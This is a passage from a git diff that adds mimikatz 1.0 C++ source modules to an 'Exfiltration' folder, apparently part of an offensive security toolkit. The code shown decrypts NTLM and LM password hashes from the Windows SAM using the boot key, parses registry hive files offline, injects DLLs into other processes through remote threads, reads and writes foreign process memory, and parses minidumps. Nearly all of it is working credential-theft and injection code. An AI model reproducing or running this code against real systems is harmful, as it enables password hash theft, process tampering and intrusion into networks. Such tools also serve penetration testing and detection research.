bool isNtlm) +{ + bool reussite = false; + unsigned char ntpassword[] = "NTPASSWORD"; + unsigned char lmpassword[] = "LMPASSWORD"; + + BYTE obfkey[0x10]; + BYTE mes2CleDES[0x10]; + + if(encHash->lenght == 0x10 + 4) + { + HCRYPTPROV hCryptProv = NULL; + HCRYPTHASH hHash = NULL; + if(CryptAcquireContext(&hCryptProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) + { + BYTE md5hash[0x10] = {0}; + DWORD dwHashDataLen = 0x10; + CryptCreateHash(hCryptProv, CALG_MD5, 0, 0, &hHash); + CryptHashData(hHash, hBootKey, 0x10, 0); + CryptHashData(hHash, (BYTE *) &rid, sizeof(rid), 0); + CryptHashData(hHash, isNtlm ? ntpassword : lmpassword, isNtlm ? sizeof(ntpassword) : sizeof(lmpassword), 0); + CryptGetHashParam(hHash, HP_HASHVAL, md5hash, &dwHashDataLen, 0); + CryptDestroyHash(hHash); + + CryptReleaseContext(hCryptProv, 0); + + if(mod_crypto::genericDecrypt(&(userV->datas) + encHash->offset + 4, 0x10, md5hash, 0x10, CALG_RC4, obfkey, 0x10)) + { + sid_to_key1(rid, mes2CleDES); + sid_to_key2(rid, mes2CleDES + 8); + + reussite = mod_crypto::genericDecrypt(obfkey + 0, sizeof(obfkey) / 2, mes2CleDES + 0, sizeof(mes2CleDES) / 2, CALG_DES) && + mod_crypto::genericDecrypt(obfkey + 8, sizeof(obfkey) / 2, mes2CleDES + 8, sizeof(mes2CleDES) / 2, CALG_DES); + } + } + } + hash->assign(reussite ? mod_text::stringOfHex(obfkey, sizeof(obfkey)) : L""); + + return reussite; +} + +void mod_hash::str_to_key(BYTE *str, BYTE *key) +{ + key[0] = str[0] >> 1; + key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2); + key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3); + key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4); + key[4] = ((str[3] & 0x0f) << 3) | (str[4] >> 5); + key[5] = ((str[4] & 0x1f) << 2) | (str[5] >> 6); + key[6] = ((str[5] & 0x3f) << 1) | (str[6] >> 7); + key[7] = str[6] & 0x7f; + for (DWORD i = 0; i < 8; i++) + key[i] = (key[i] << 1); +} + +void mod_hash::sid_to_key1(DWORD sid, BYTE deskey[8]) +{ + unsigned char s[7]; + s[0] = s[4] = (unsigned char)((sid) & 0xff); + s[1] = s[5] = (unsigned char)((sid >> 8) & 0xff); + s[2] = s[6] = (unsigned char)((sid >>16) & 0xff); + s[3] = (unsigned char)((sid >>24) & 0xff); + str_to_key(s, deskey); +} + +void mod_hash::sid_to_key2(DWORD sid, BYTE deskey[8]) +{ + unsigned char s[7]; + + s[0] = s[4] = (unsigned char)((sid >>24) & 0xff); + s[1] = s[5] = (unsigned char)((sid) & 0xff); + s[2] = s[6] = (unsigned char)((sid >> 8) & 0xff); + s[3] = (unsigned char)((sid >>16) & 0xff); + str_to_key(s, deskey); +} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_hash.h b/Exfiltration/mimikatz-1.0/modules/mod_hash.h new file mode 100644 index 00000000..19d7c445 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_hash.h @@ -0,0 +1,81 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_text.h" +#include "mod_crypto.h" + +class mod_hash +{ +private: + static PSYSTEM_FUNCTION_006 SystemFunction006; + static PSYSTEM_FUNCTION_007 SystemFunction007; + static PRTL_UPCASE_UNICODE_STRING_TO_OEM_STRING RtlUpcaseUnicodeStringToOemString; + static PRTL_INIT_UNICODESTRING RtlInitUnicodeString; + static PRTL_FREE_OEM_STRING RtlFreeOemString; + +public: + typedef enum _KIWI_HASH_TYPE + { + LM, + NTLM + } KIWI_HASH_TYPE; + + typedef struct _SAM_ENTRY { + DWORD offset; + DWORD lenght; + DWORD unk; +} SAM_ENTRY, *PSAM_SENTRY; + + typedef struct _OLD_LARGE_INTEGER { + unsigned long LowPart; + long HighPart; + } OLD_LARGE_INTEGER, *POLD_LARGE_INTEGER; + + typedef struct _USER_F { // http://www.beginningtoseethelight.org/ntsecurity/index.php#D3BC3F5643A17823 + DWORD unk0_header; + DWORD align; + OLD_LARGE_INTEGER LastLogon; + OLD_LARGE_INTEGER LastLogoff; + OLD_LARGE_INTEGER PasswordLastSet; + OLD_LARGE_INTEGER AccountExpires; + OLD_LARGE_INTEGER PasswordMustChange; + unsigned long UserId; + unsigned long unk1; + unsigned long UserAccountControl; + } USER_F, *PUSER_F; + + typedef struct _USER_V { + SAM_ENTRY unk0; + SAM_ENTRY Username; + SAM_ENTRY Fullname; + SAM_ENTRY Comment; + SAM_ENTRY UserComment; + SAM_ENTRY unk1; + SAM_ENTRY Homedir; + SAM_ENTRY Homedirconnect; + SAM_ENTRY Scriptpath; + SAM_ENTRY Profilepath; + SAM_ENTRY Workstations; + SAM_ENTRY HoursAllowed; + SAM_ENTRY unk2; + SAM_ENTRY LM; + SAM_ENTRY NTLM; + SAM_ENTRY unk3; + SAM_ENTRY unk4; + BYTE datas; + } USER_V, *PUSER_V; + + static bool lm(wstring * chaine, wstring * hash); + static bool ntlm(wstring * chaine, wstring * hash); + + static void getBootKeyFromKey(BYTE bootkey[0x10], BYTE key[0x10]); + static bool getHbootKeyFromBootKeyAndF(BYTE hBootKey[0x10], BYTE bootKey[0x10], BYTE * AccountsF); + static bool decryptHash(wstring * hash, BYTE * hBootKey, USER_V * userV, SAM_ENTRY * encHash, DWORD rid, bool isNtlm); + static void str_to_key(BYTE *str, BYTE *key); + static void sid_to_key1(DWORD sid, BYTE deskey[8]); + static void sid_to_key2(DWORD sid, BYTE deskey[8]); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_hive.cpp b/Exfiltration/mimikatz-1.0/modules/mod_hive.cpp new file mode 100644 index 00000000..a0e79cdd --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_hive.cpp @@ -0,0 +1,242 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_hive.h" + +mod_hive::nk_hdr* mod_hive::read_nk(nk_hdr *nk, hive *h, int offset ) +{ + memcpy(nk, h->base + offset + 4, sizeof(nk_hdr)); + nk->key_name = (h->base + offset + 4 + 76); + return nk; +} + +mod_hive::lf_hdr* mod_hive::read_lf(lf_hdr *lf, hive *h, int offset ) +{ + memcpy(lf, h->base+offset+4, sizeof(lf_hdr)); + lf->hr = (h->base+offset+4+4); + return lf; +} + +mod_hive::vk_hdr* mod_hive::read_vk(vk_hdr *vk, hive *h, int offset ) +{ + memcpy(vk, h->base+offset+4, sizeof(vk_hdr)); + vk->value_name = (h->base+offset+4+20); + return vk; +} + +int* mod_hive::read_valuevector(int *value, hive *h, int offset, int size ) +{ + memcpy(value, h->base+offset+4, size*sizeof(int)); + return value; +} + +mod_hive::hashrecord* mod_hive::read_hr(hashrecord *hr, unsigned char *pos, int index ) +{ + pos+=(8*index); + memcpy(hr, pos, sizeof(hashrecord)); + return hr; +} + + +unsigned char* mod_hive::read_data(hive *h, int offset ) +{ + return ((unsigned char*) (h->base + offset + 4)); +} + +bool mod_hive::InitHive(hive *h) +{ + h->base = NULL; + return true; +} + +bool mod_hive::RegOpenHive(const wchar_t *filename, hive *h) +{ + bool reussite = false; + FILE *hiveh; + unsigned long hsize; + + if(_wfopen_s(&hiveh, filename, L"rb" ) == 0) + { + if(fseek(hiveh, 0, SEEK_END) == 0) + { + hsize = ftell(hiveh); + h->base = new unsigned char[hsize]; + fseek(hiveh, 0, SEEK_SET); + + if(fread(h->base, hsize, 1, hiveh) == 1) + { + reussite = *((int *)h->base) == 0x66676572; + } + } + fclose(hiveh); + } + return reussite; +} + +bool mod_hive::RegCloseHive(hive *h ) +{ + if(h->base != NULL) + { + delete[] h->base; + } + return true; +} + + +long mod_hive::parself(hive *h, char *t, unsigned long off ) +{ + nk_hdr *n; + lf_hdr *l; + hashrecord *hr; + + int i; + + hr = (hashrecord*) malloc(sizeof(hashrecord)); + n = (nk_hdr*) malloc(sizeof(nk_hdr)); + l = (lf_hdr*) malloc(sizeof(lf_hdr)); + l = read_lf(l, h, off ); + + for(i = 0; i < l->key_num; i++ ) + { + hr = read_hr(hr, l->hr, i); + n = read_nk(n, h, hr->nk_offset + 0x1000 ); + if(!memcmp( t, n->key_name, n->name_len ) && (strlen(t) == n->name_len)) + { + free(n); + free(l); + return hr->nk_offset; + } + } + free(n); + free(l); + return -1; +} + +bool mod_hive::RegGetRootKey(hive *h, string *root_key) +{ + bool reussite = false; + nk_hdr * n = new nk_hdr(); + read_nk(n, h, 0x1020); + if (n->id == NK_ID && n->type == NK_ROOT) + { + root_key->assign((const char *) n->key_name, n->name_len); + reussite = true; + } + delete n; + return reussite; +} + +bool mod_hive::RegOpenKey(hive *h, string * path, nk_hdr **nr) +{ + bool reussite = false; + + nk_hdr *n = new nk_hdr(); + char *t, *tpath; + unsigned long noff = 0; + + read_nk(n, h, 0x1020); + + if(n->id == NK_ID && n->type == NK_ROOT) + { + tpath = strdup(path->c_str()); + t = strtok(tpath, "\\"); + + if(!memcmp(t, n->key_name, n->name_len)) + { + t = strtok(NULL, "\\"); + while(t != NULL) + { + noff = parself(h, t, n->lf_off + 0x1000); + if(noff != -1) + { + read_nk(n, h, noff + 0x1000); + t = strtok( NULL, "\\" ); + } + else + { + break; + } + } + + if(t == NULL && noff != 1) + { + memcpy(*nr, n, sizeof(nk_hdr)); + reussite = true; + } + } + free(tpath); + } + + delete n; + return reussite; +} + +bool mod_hive::RegQueryValue(hive *h, string *name, nk_hdr *nr, unsigned char **buff, int *len ) +{ + bool reussite = false; + + vk_hdr *v = new vk_hdr(); + int * l = new int[nr->value_cnt]; + + read_valuevector(l, h, nr->value_off + 0x1000, nr->value_cnt); + + for(unsigned int i = 0; i < nr->value_cnt; i++) + { + read_vk(v, h, l[i] + 0x1000); + if((!memcmp(name->c_str(), v->value_name, name->size()) && v->name_len == name->size()) || (name == NULL && (v->flag & 1) == 0)) + { + *len = v->data_len & 0x0000FFFF; + *buff = new unsigned char[*len]; + if (*len < 5) + { + memcpy(*buff, &(v->data_off), *len); + } + else + { + memcpy(*buff, read_data(h, v->data_off + 0x1000), *len); + } + reussite = true; + break; + } + } + delete[] l; + delete v; + return reussite; +} + +bool mod_hive::RegOpenKeyQueryValue(hive *h, string *path, string *name, unsigned char **buff, int *len) +{ + bool reussite = false; + mod_hive::nk_hdr * nodeKey = new mod_hive::nk_hdr(); + if(mod_hive::RegOpenKey(h, path, &nodeKey)) + { + reussite = mod_hive::RegQueryValue(h, name, nodeKey, buff, len); + } + delete nodeKey; + return reussite; +} + + + +bool mod_hive::RegEnumKey(hive *h, nk_hdr *nr, vector * names) +{ + int index = 0; + + lf_hdr *lf = new lf_hdr(); + nk_hdr *nk = new nk_hdr(); + hashrecord *hr = new hashrecord(); + + while(index < nr->subkey_num) + { + lf = read_lf(lf, h, nr->lf_off + 0x1000 ); + hr = read_hr(hr, lf->hr, index); + nk = read_nk(nk, h, hr->nk_offset + 0x1000 ); + names->push_back(string(reinterpret_cast(nk->key_name), nk->name_len)); + index++; + } + + delete lf, nk, hr; + return !names->empty(); +} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_hive.h b/Exfiltration/mimikatz-1.0/modules/mod_hive.h new file mode 100644 index 00000000..527a154b --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_hive.h @@ -0,0 +1,88 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +using namespace std; + +#define NK_ID 0x6B6E +#define NK_ROOT 0x2c +#define LF_ID 0x666C + +class mod_hive +{ +public: + typedef struct _hive + { + unsigned char *base; + } hive; + + typedef struct _nk_hdr + { + short int id; + short int type; + int t1, t2; + int unk1; + int parent_off; + int subkey_num; + int unk2; + int lf_off; + int unk3; + /* unsigned */ + unsigned int value_cnt; + int value_off; + int sk_off; + int classname_off; + int unk4[4]; + int unk5; + short int name_len; + short int classname_len; + unsigned char *key_name; + } nk_hdr; + + typedef struct _hashrecord + { + int nk_offset; + char keyname[4]; + } hashrecord; + + typedef struct _lf_hdr + { + short int id; + short int key_num; + unsigned char *hr; + } lf_hdr; + + typedef struct _vk_hdr + { + short int id; + short int name_len; + int data_len; + int data_off; + int data_type; + short int flag; + short int unk1; + unsigned char *value_name; + } vk_hdr; + + static bool InitHive(hive *h); + static bool RegOpenHive(const wchar_t * filename, hive *h); + static bool RegCloseHive(hive *h); + static bool RegGetRootKey(hive *h, string *root_key); + static bool RegOpenKey(hive *h, string *path, nk_hdr **nr); + static bool RegQueryValue(hive *h, /*char *name*/ string *name, nk_hdr *nr, unsigned char **buff, int *len); + static bool RegOpenKeyQueryValue(hive *h, string *path, string *name, unsigned char **buff, int *len); + static bool RegEnumKey(hive *h, nk_hdr *nr, vector * names); + + static long parself(hive *h, char *t, unsigned long off); + static unsigned char* read_data(hive *h, int offset); +private: + static nk_hdr* read_nk(nk_hdr *nk, hive *h, int offset); + static lf_hdr* read_lf(lf_hdr *lf, hive *h, int offset); + static vk_hdr* read_vk(vk_hdr *vk, hive *h, int offset); + static hashrecord* read_hr(hashrecord *hr, unsigned char *pos, int index); + static int* read_valuevector(int *value, hive *h, int offset, int size); + +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_inject.cpp b/Exfiltration/mimikatz-1.0/modules/mod_inject.cpp new file mode 100644 index 00000000..2547a2d5 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_inject.cpp @@ -0,0 +1,72 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_inject.h" + +bool mod_inject::injectLibraryInHandle(const HANDLE & handleProcess, wstring * fullLibraryPath) +{ + bool reussite = false; + + wstring maLibComplete = L""; + if(mod_system::getAbsolutePathOf(*fullLibraryPath, &maLibComplete)) + { + bool fileExist = false; + if(mod_system::isFileExist(maLibComplete, &fileExist) && fileExist) + { + SIZE_T szFullLibraryPath = static_cast((maLibComplete.size() + 1) * sizeof(wchar_t)); + + if(LPVOID remoteVm = VirtualAllocEx(handleProcess, NULL, szFullLibraryPath, MEM_COMMIT, PAGE_EXECUTE_READWRITE)) + { + if(mod_memory::writeMemory(remoteVm, maLibComplete.c_str(), szFullLibraryPath, handleProcess)) + { + PTHREAD_START_ROUTINE pThreadStart = reinterpret_cast(GetProcAddress(GetModuleHandle(L"kernel32"), "LoadLibraryW")); + HANDLE hRemoteThread = INVALID_HANDLE_VALUE; + + if(mod_system::GLOB_Version.dwMajorVersion > 5) + { + PRTL_CREATE_USER_THREAD RtlCreateUserThread = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlCreateUserThread")); + SetLastError(RtlCreateUserThread(handleProcess, NULL, 0, 0, 0, 0, pThreadStart, remoteVm, &hRemoteThread, NULL)); + } + else + { + hRemoteThread = CreateRemoteThread(handleProcess, NULL, 0, pThreadStart, remoteVm, 0, NULL); + } + + if(hRemoteThread && hRemoteThread != INVALID_HANDLE_VALUE) + { + WaitForSingleObject(hRemoteThread, INFINITE); + reussite = true; + CloseHandle(hRemoteThread); + } + } + VirtualFreeEx(handleProcess, remoteVm, 0, MEM_RELEASE); + } + } + } + return reussite; +} + +bool mod_inject::injectLibraryInPid(const DWORD & pid, wstring * fullLibraryPath) +{ + bool reussite = false; + if(HANDLE processHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, pid)) + { + reussite = injectLibraryInHandle(processHandle, fullLibraryPath); + CloseHandle(processHandle); + } + return reussite; +} + +bool mod_inject::injectLibraryInSingleProcess(wstring & processName, wstring * fullLibraryPath) +{ + bool reussite = false; + + mod_process::KIWI_PROCESSENTRY32 monProcess; + if(mod_process::getUniqueForName(&monProcess, &processName)) + { + reussite = injectLibraryInPid(monProcess.th32ProcessID, fullLibraryPath); + } + return reussite; +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_inject.h b/Exfiltration/mimikatz-1.0/modules/mod_inject.h new file mode 100644 index 00000000..a0f77d8d --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_inject.h @@ -0,0 +1,19 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_memory.h" +#include "mod_system.h" +#include "mod_process.h" + +class mod_inject +{ +public: + static bool injectLibraryInHandle(const HANDLE & handleProcess, wstring * fullLibraryPath); + static bool injectLibraryInPid(const DWORD & pid, wstring * fullLibraryPath); + static bool injectLibraryInSingleProcess(wstring & processName, wstring * fullLibraryPath); +}; + diff --git a/Exfiltration/mimikatz-1.0/modules/mod_memory.cpp b/Exfiltration/mimikatz-1.0/modules/mod_memory.cpp new file mode 100644 index 00000000..1e2ba8e8 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_memory.cpp @@ -0,0 +1,140 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_memory.h" + +bool mod_memory::readMemory(const void * adresseBase, void * adresseDestination, size_t longueur, HANDLE handleProcess) +{ + if(handleProcess == INVALID_HANDLE_VALUE) + { + return (memcpy_s(adresseDestination, longueur, adresseBase, longueur) == 0); + } + else + { + SIZE_T dwBytesRead = 0; + return ((ReadProcessMemory(handleProcess, adresseBase, adresseDestination, longueur, &dwBytesRead) != 0) && (dwBytesRead == longueur)); + } +} + +bool mod_memory::writeMemory(void * adresseBase, const void * adresseSource, size_t longueur, HANDLE handleProcess) +{ + bool reussite = false; + DWORD OldProtect, OldProtect2; + + if(handleProcess == INVALID_HANDLE_VALUE) + { + if(VirtualProtect(adresseBase, longueur, PAGE_EXECUTE_READWRITE, &OldProtect) != 0) + { + reussite = (memcpy_s(adresseBase, longueur, adresseSource, longueur) == 0); + VirtualProtect(adresseBase, longueur, OldProtect, &OldProtect2); + } + } + else + { + if(VirtualProtectEx(handleProcess, adresseBase, longueur, PAGE_EXECUTE_READWRITE, &OldProtect) != 0) + { + SIZE_T dwBytesWrite = 0; + reussite = ((WriteProcessMemory(handleProcess, adresseBase, adresseSource, longueur, &dwBytesWrite) != 0) && (dwBytesWrite == longueur)); + VirtualProtectEx(handleProcess, adresseBase, longueur, OldProtect, &OldProtect2); + } + } + + return reussite; +} + + +bool mod_memory::searchMemory(const PBYTE adresseBase, const PBYTE adresseMaxMin, const PBYTE pattern, PBYTE * addressePattern, size_t longueur, bool enAvant, HANDLE handleProcess) +{ + BYTE * monTab = new BYTE[longueur]; + *addressePattern = adresseBase; + bool succesLecture = true; + bool succesPattern = false; + + while((!adresseMaxMin || (enAvant ? (*addressePattern + longueur) <= adresseMaxMin : (*addressePattern - longueur) >= adresseMaxMin)) && succesLecture && !succesPattern) + { + if(succesLecture = readMemory(*addressePattern, monTab, longueur, handleProcess)) + { + if(!(succesPattern = (memcmp(monTab, pattern, longueur) == 0))) + { + *addressePattern += (enAvant ? 1 : -1); + } + } + } + delete[] monTab; + + if(!succesPattern) + *addressePattern = NULL; + + return succesPattern; +} + +bool mod_memory::searchMemory(const PBYTE adresseBase, const long offsetMaxMin, const PBYTE pattern, long * offsetPattern, size_t longueur, bool enAvant, HANDLE handleProcess) +{ + PBYTE addressePattern = NULL; + bool resultat = mod_memory::searchMemory(adresseBase, (offsetMaxMin != 0 ? (adresseBase + offsetMaxMin) : NULL), pattern, &addressePattern, longueur, enAvant, handleProcess); + *offsetPattern = addressePattern - adresseBase; + return resultat; +} + +bool mod_memory::genericPatternSearch(PBYTE * thePtr, wchar_t * moduleName, BYTE pattern[], ULONG taillePattern, LONG offSetToPtr, char * startFunc, bool enAvant, bool noPtr) +{ + bool resultat = false; + if(thePtr && pattern && taillePattern) + { + if(HMODULE monModule = GetModuleHandle(moduleName)) + { + MODULEINFO mesInfos; + if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO))) + { + PBYTE addrMonModule = reinterpret_cast(mesInfos.lpBaseOfDll); + + if(PBYTE addrDebut = startFunc ? reinterpret_cast(GetProcAddress(monModule, startFunc)) : addrMonModule) + { + if(resultat = mod_memory::searchMemory(addrDebut, enAvant ? (addrMonModule + mesInfos.SizeOfImage) : reinterpret_cast(mesInfos.lpBaseOfDll), pattern, thePtr, taillePattern, enAvant)) + { + *thePtr += offSetToPtr; + if(!noPtr) + { +#ifdef _M_X64 + *thePtr += sizeof(long) + *reinterpret_cast(*thePtr); +#elif defined _M_IX86 + *thePtr = *reinterpret_cast(*thePtr); +#endif + } + } + else *thePtr = NULL; + } + } + } + } + return resultat; +} + +/*bool mod_memory::WhereIsMyFuckingRelativePattern(const PBYTE adresseBase, const PBYTE addrPattern, const PBYTE maskPattern, PBYTE *addressePattern, size_t longueurMask, const long offsetAddrInMask, const long offset) // et merde je la documente pas celle l ! +{ + PBYTE autreAddr = adresseBase; + PBYTE monMask = new BYTE[longueurMask]; + PBYTE monTab = new BYTE[longueurMask]; + + RtlCopyMemory(monMask, maskPattern, longueurMask); + bool succesLecture = false, succesPattern = false; + do + { + PBYTE funkyDiff = reinterpret_cast(addrPattern - (autreAddr + offsetAddrInMask + 4)); + RtlCopyMemory(monMask+offsetAddrInMask, reinterpret_cast(&funkyDiff), 4); + succesLecture = readMemory(autreAddr, monTab, longueurMask); + succesPattern = memcmp(monTab, monMask, longueurMask) == 0; + autreAddr+=offset; + } while(!succesPattern && succesLecture); + + delete[] monMask; + + if(succesPattern && succesLecture) + { + *addressePattern = autreAddr-offset; + return true; + } + else return false; +}*/ diff --git a/Exfiltration/mimikatz-1.0/modules/mod_memory.h b/Exfiltration/mimikatz-1.0/modules/mod_memory.h new file mode 100644 index 00000000..31eb27fe --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_memory.h @@ -0,0 +1,22 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include + +class mod_memory +{ +public: + static bool readMemory(const void * adresseBase, void * adresseDestination, size_t longueur = 1, HANDLE handleProcess = INVALID_HANDLE_VALUE); + static bool writeMemory(void * adresseBase, const void * adresseSource, size_t longueur = 1, HANDLE handleProcess = INVALID_HANDLE_VALUE); + + static bool searchMemory(const PBYTE adresseBase, const PBYTE adresseMaxMin, const PBYTE pattern, PBYTE * addressePattern, size_t longueur = 1, bool enAvant = true, HANDLE handleProcess = INVALID_HANDLE_VALUE); + static bool searchMemory(const PBYTE adresseBase, const long offsetMaxMin, const PBYTE pattern, long * offsetPattern, size_t longueur = 1, bool enAvant = true, HANDLE handleProcess = INVALID_HANDLE_VALUE); + + static bool genericPatternSearch(PBYTE * thePtr, wchar_t * moduleName, BYTE pattern[], ULONG taillePattern, LONG offSetToPtr, char * startFunc = NULL, bool enAvant = true, bool noPtr = false); + + /*static bool WhereIsMyFuckingRelativePattern(const PBYTE adresseBase, const PBYTE addrPattern, const PBYTE maskPattern, PBYTE *addressePattern, size_t longueurMask, const long offsetAddrInMask, const long offset = 1); // et merde je la documente pas celle l !*/ +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_minidump.cpp b/Exfiltration/mimikatz-1.0/modules/mod_minidump.cpp new file mode 100644 index 00000000..2825451b --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_minidump.cpp @@ -0,0 +1,163 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_minidump.h" + +mod_minidump::mod_minidump() : monFichier(NULL), monFileMapping(NULL), mesDonnees(NULL) +{ +} + +mod_minidump::~mod_minidump(void) +{ + if(mesDonnees) + UnmapViewOfFile(mesDonnees); + + if(monFileMapping) + CloseHandle(monFileMapping); + + if(monFichier) + CloseHandle(monFichier); +} + +LPVOID mod_minidump::RVAtoPTR(RVA monRVA) +{ + return reinterpret_cast(mesDonnees) + monRVA; +} + +bool mod_minidump::open(wchar_t * filename) +{ + bool resultat = false; + + if(monFichier = CreateFile(filename, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL)) + if(monFileMapping = CreateFileMapping(monFichier, NULL, PAGE_READONLY, 0, 0, NULL)) + if(mesDonnees = MapViewOfFile(monFileMapping, FILE_MAP_READ, 0, 0, 0)) + resultat = (reinterpret_cast(mesDonnees)->Signature == MINIDUMP_SIGNATURE) && (static_cast(reinterpret_cast(mesDonnees)->Version) == MINIDUMP_VERSION); + + return resultat; +} + +MINIDUMP_TYPE mod_minidump::getFlags() +{ + return static_cast(reinterpret_cast(mesDonnees)->Flags); +} + +const wchar_t *FlagsString[] = { + L"MiniDumpNormal", + L"MiniDumpWithDataSegs", + L"MiniDumpWithFullMemory", + L"MiniDumpWithHandleData", + L"MiniDumpFilterMemory", + L"MiniDumpScanMemory", + L"MiniDumpWithUnloadedModules", + L"MiniDumpWithIndirectlyReferencedMemory", + L"MiniDumpFilterModulePaths", + L"MiniDumpWithProcessThreadData", + L"MiniDumpWithPrivateReadWriteMemory", + L"MiniDumpWithoutOptionalData", + L"MiniDumpWithFullMemoryInfo", + L"MiniDumpWithThreadInfo", + L"MiniDumpWithCodeSegs", + L"MiniDumpWithoutAuxiliaryState", + L"MiniDumpWithFullAuxiliaryState", + L"MiniDumpWithPrivateWriteCopyMemory", + L"MiniDumpIgnoreInaccessibleMemory", + L"MiniDumpWithTokenInformation" +}; + +bool mod_minidump::FlagsToStrings(vector * monVecteur) +{ + return FlagsToStrings(getFlags(), monVecteur); +} + +bool mod_minidump::FlagsToStrings(MINIDUMP_TYPE Flags, vector * monVecteur) +{ + bool resultat = false; + + if(!Flags) + { + monVecteur->push_back(FlagsString[0]); + resultat = true; + } + else if(Flags & MiniDumpValidTypeFlags) + { + DWORD shift, i; + for(shift = MiniDumpWithDataSegs, i = 1; shift <= MiniDumpWithTokenInformation; shift<<=1, i++) + { + if((Flags & shift) == shift) + monVecteur->push_back(FlagsString[i]); + } + resultat = true; + } + + return resultat; +} + +LPVOID mod_minidump::getStream(MINIDUMP_STREAM_TYPE type) +{ + PMINIDUMP_DIRECTORY mesRepertoires = reinterpret_cast(RVAtoPTR(reinterpret_cast(mesDonnees)->StreamDirectoryRva)); + for(DWORD i = 0; i < reinterpret_cast(mesDonnees)->NumberOfStreams; i++) + { + if(mesRepertoires[i].StreamType == type) + return RVAtoPTR(mesRepertoires[i].Location.Rva); + } + return NULL; +} + +PMINIDUMP_MODULE mod_minidump::getMinidumpModule(wstring & nomModule) +{ + if(PMINIDUMP_MODULE_LIST monObject = reinterpret_cast(getStream(ModuleListStream))) + { + for(DWORD i = 0; i < monObject->NumberOfModules; i++) + { + PMINIDUMP_MODULE monModule = &monObject->Modules[i]; + PMINIDUMP_STRING monModuleString = reinterpret_cast(RVAtoPTR(monObject->Modules[i].ModuleNameRva)); + if(mod_text::wstr_ends_with(monModuleString->Buffer, monModuleString->Length / sizeof(wchar_t), nomModule.c_str(), nomModule.size())) + return monModule; + } + } + return NULL; +} + +bool mod_minidump::getStreamsVector(vector * monVecteur) +{ + PMINIDUMP_DIRECTORY mesRepertoires = reinterpret_cast(RVAtoPTR(reinterpret_cast(mesDonnees)->StreamDirectoryRva)); + for(DWORD i = 0; i < reinterpret_cast(mesDonnees)->NumberOfStreams; monVecteur->push_back(&mesRepertoires[i++])); + return true; +} + +const wchar_t *StreamTypeString[] = { + L"UnusedStream", + L"ReservedStream0", + L"ReservedStream1", + L"ThreadListStream", + L"ModuleListStream", + L"MemoryListStream", + L"ExceptionStream", + L"SystemInfoStream", + L"ThreadExListStream", + L"Memory64ListStream", + L"CommentStreamA", + L"CommentStreamW", + L"HandleDataStream", + L"FunctionTableStream", + L"UnloadedModuleListStream", + L"MiscInfoStream", + L"MemoryInfoListStream", + L"ThreadInfoListStream", + L"HandleOperationListStream", + L"TokenStream" +}; + +wstring mod_minidump::StreamTypeToString(MINIDUMP_STREAM_TYPE monType) +{ + if(monType <= TokenStream) + return StreamTypeString[monType]; + else + { + wostringstream monStream; + monStream << L"Inconnu (" << monType << L")"; + return monStream.str(); + } +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_minidump.h b/Exfiltration/mimikatz-1.0/modules/mod_minidump.h new file mode 100644 index 00000000..4247ab01 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_minidump.h @@ -0,0 +1,33 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include +#include "mod_text.h" + +class mod_minidump +{ +private: + HANDLE monFichier, monFileMapping; + LPVOID mesDonnees; + +public: + mod_minidump(); + virtual ~mod_minidump(void); + + LPVOID RVAtoPTR(RVA monRVA); + bool open(wchar_t * filename); + LPVOID 